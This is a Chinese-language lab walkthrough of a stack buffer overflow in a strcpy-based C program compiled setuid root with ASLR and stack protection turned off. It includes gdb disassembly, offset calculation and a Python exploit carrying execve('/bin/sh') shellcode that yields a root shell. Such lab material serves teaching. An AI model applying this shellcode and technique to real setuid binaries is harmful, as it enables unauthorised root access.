(1)漏洞代码
//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { /* [1] */ char buf[256]; /* [2] */ strcpy(buf,argv[1]); /* [3] */ printf("Input:%s\n",buf); return 0; }
编译
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" gcc -g -fno-stack-protector -z execstack -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln
(2)反汇编并绘制出漏洞代码的堆栈布局
gdb-peda$ disass main Dump of assembler code for function main: 0x08048414 <+0>: push ebp 0x08048415 <+1>: mov ebp,esp 0x08048417 <+3>: and esp,0xfffffff0 0x0804841a <+6>: sub esp,0x110 0x08048420 <+12>: mov eax,DWORD PTR [ebp+0xc] 0x08048423 <+15>: add eax,0x4 0x08048426 <+18>: mov eax,DWORD PTR [eax] 0x08048428 <+20>: mov DWORD PTR [esp+0x4],eax 0x0804842c <+24>: lea eax,[esp+0x10] 0x08048430 <+28>: mov DWORD PTR [esp],eax 0x08048433 <+31>: call 0x8048330 <strcpy@plt> 0x08048438 <+36>: mov eax,0x8048530 0x0804843d <+41>: lea edx,[esp+0x10] 0x08048441 <+45>: mov DWORD PTR [esp+0x4],edx 0x08048445 <+49>: mov DWORD PTR [esp],eax 0x08048448 <+52>: call 0x8048320 <printf@plt> 0x0804844d <+57>: mov eax,0x0 0x08048452 <+62>: leave 0x08048453 <+63>: ret End of assembler dump.
(3)当用户输入的内容大于256位时,将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列“A”来测试它。
EBP的值已经变成了四个A
(4)根据堆栈布局,可以尝试输入256个A(buf)+8个A(对齐空间)+4A(EBP)+4个B(返回地址),看是否能覆盖括号里的内容
(5)攻击代码
#exp.py #!/usr/bin/env python import struct from subprocess import call #Stack address where shellcode is copied. ret_addr = 0xbffff4a0 #Spawn a shell #execve(/bin/sh) scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" #endianess convertion def conv(num): return struct.pack("<I",num)#nk + RA + NOP's + Shellcode buf = "A" * 268 buf += conv(ret_addr) buf += "\x90" * 100 buf += scode print "Calling vulnerable program" call(["./vuln", buf])
将攻击代码改动一下,以准确确定shellcode的地址。
运行
查看内存,可以发现shellcode的起始地址,因此只要保证ret_addr在那100个‘\x90’里就可以了。
(6)确定攻击代码,选择ret_addr为0xbffff4a0
运行
获取到root shell权限。